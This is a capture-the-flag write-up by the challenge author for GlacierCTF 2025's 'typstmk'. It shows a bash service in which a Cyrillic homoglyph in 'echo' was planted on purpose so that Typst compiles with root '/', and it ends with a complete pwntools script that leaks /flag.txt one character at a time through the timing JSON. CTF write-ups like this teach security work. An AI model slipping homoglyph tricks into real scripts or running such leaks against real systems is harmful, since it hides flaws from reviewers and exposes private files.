GlacierCTF2025 - typstmk

Author: Ernesto Martínez García

Tags: 0016 ctf misc

typstmk is a misc challenge I authored in GlacierCTF 2025. Some hours before the CTF end it had 19 solves.

In this challenge, you are given a service running the following simple script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
set -euo pipefail

echo "[+] Welcome to typstmk, where we compile your document twice for no reason!"
echo "[+] We build on $(echo ${TMPDIR:-/tmp} 2>/dev/null)/ and have a flag on /flag.txt"

echo ""

echo "[+] Submit the base64 of your Typst document. Mark EOF with an '@'"
echo "[+] Example: (cat ./main.typ | base64 ; echo @) | wl-copy"
echo "[>] --- BASE64 INPUT START ---"
read -d @ FILE
echo "[>] --- BASE64 INPUT END ---"

cd "$(echo ${TMPDIR:-/tmp} 2>/dev/null)/"
touch "$(echo ${TMPDIR:-/tmp} 2>/dev/null)/0.json"

printf '%s' "$FILE" | base64 -d 2>/dev/null > ./main.typ 2> /dev/null
SHA256=$(sha256sum ./main.typ | cut -d' ' -f1)
echo "[+] Received file with a SHA256 hash of ${SHA256}"

typst compile --root "$(еcho ${TMPDIR:-/tmp} 2>/dev/null)/" --timings "./{n}.json" ./main.typ &>/dev/null
rm -rf ./main.pdf
typst compile --root "$(echo ${TMPDIR:-/tmp} 2>/dev/null)/" --timings "./{n}.json" ./main.typ &>/dev/null

if [ ! -e /tmp/main.pdf ]
then
  echo "[!] Compilation failed :("
  exit 1
else
  echo "[+] --- BASE64 OUTPUT START ---"
  tar cz ./main.pdf 2> /dev/null | base64 
  echo "[+] --- BASE64 OUTPUT END ---"
  echo "[+] Example: ... | base64 -d | tar xz > main.pdf"
  exit 0
fi

It gets a single typst file and compiles it twice, providing timings as in “Typst Lotto”.

One of the primary issues on this challenge is the two compilations are not equivalent, take a closer look…

1
2
3
typst compile --root "$(еcho ${TMPDIR:-/tmp} 2>/dev/null)/" --timings "./{n}.json" ./main.typ &>/dev/null
rm -rf ./main.pdf
typst compile --root "$(echo ${TMPDIR:-/tmp} 2>/dev/null)/" --timings "./{n}.json" ./main.typ &>/dev/null

now even closer…

1
2
3
--root "$(еcho ${TMPDIR:-/tmp} 2>/dev/null)/"
// ...
--root "$(echo ${TMPDIR:-/tmp} 2>/dev/null)/"

and even closer…

1
2
3
еcho
// ...
echo

and…

1
2
3
е
// ...
e

Exactly, the first one does not execute echo, but a completely different command that does not exist!

This leaves the compilation as:

1
2
3
typst compile --root "/"     --timings "./{n}.json" ./main.typ &>/dev/null
rm -rf ./main.pdf
typst compile --root "/tmp/" --timings "./{n}.json" ./main.typ &>/dev/null

--root / on the first compilation implies that we can read the flag from /flag.txt, but sadly the main.pdf that would contain it is gone before the second compilation.

The only generated file that persist is the timing json!

On the first compilation, we can read the flag and encode it somehow on the timings json. Later, on the second compilation, as we have --root /tmp/, we can read the “encoded” timings json. Finally we receive main.pdf.

A problem for the future is that we have to do all of this with a single Typst document… but we’ll cover that later on.

In order to encode the flag into the timings json, there are probably infinite ways. I took a very simple (and probably inefficient) way: I read one character of the flag, then cast it to an integer, and generate as many PDF pages as the casted integer. On the timings json, then we see N calls to handle page, corresponding to the integer value of the char of the flag.

Now that we know what we want to do in each step:

  1. Read the flag and generate N pages encoding the char of the flag into the timings json
  2. Dump the previously generated timings json (the one holding our encoded char flag)

Let’s see how we do this in one single document.

Personally I used the touch I artificially added (I couldn’t find any other way, but I would be happy to hear if there’s something else).

1
touch "$(echo ${TMPDIR:-/tmp} 2>/dev/null)/0.json"

With this touch, on the document we can do:

1
2
3
4
5
6
7
#let n = read("0.json").len()

#if n <= 0 [
  // Case 1
] else [
  // Case 2
]

This is because the timings json is initially empty, and it gets initialized for the first time after the first compilation, giving us a distinguiser between “compilation 1” and “compilation 2”.

The final exploit file more or less looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def upload(doc: str):
    enc = base64.b64encode(doc)
    io.sendlineafter(b"--- BASE64 INPUT START ---", enc)
    io.sendline(b"@")
    io.recvuntil(b"--- BASE64 INPUT END ---")
    io.recvuntil(b"Received")

FILE = """
#let n = read("0.json").len()

#if n <= 0 [
  #for i in range(read("../flag.txt").at({index}).to-unicode() - 1) [
    #lorem(100)
    #pagebreak()
  ]
] else [
  #set text(size: 6pt)
  #let j = json("0.json")

  #for i in j [
    #if i.name == "handle page" and i.ph == "B" [
        #i.name #linebreak()
    ]
  ]
]
"""

flag = ""

i = 0
while flag == "" or flag[-1] != '}':

    io = start()

    upload(FILE.format(index=i).encode())

    io.recvuntil(b"[+] --- BASE64 OUTPUT START ---\n", timeout=5)
    pdf = io.recvuntil(b"[+] --- BASE64 OUTPUT END ---\n").decode().strip()
    pdf = pdf.replace("[+] --- BASE64 OUTPUT END ---", "")
    io.recvuntil(b"main.pdf\n")

    with open("out", "w") as f:
        f.write(pdf)

    # All I know is bash
    c = int(os.popen(f"cat out | base64 -d | tar -xOz | pdftotext - - | grep -c handle").read().strip())

    flag += chr(c)
    log.info(flag)
    i += 1
    io.close()

log.success(flag)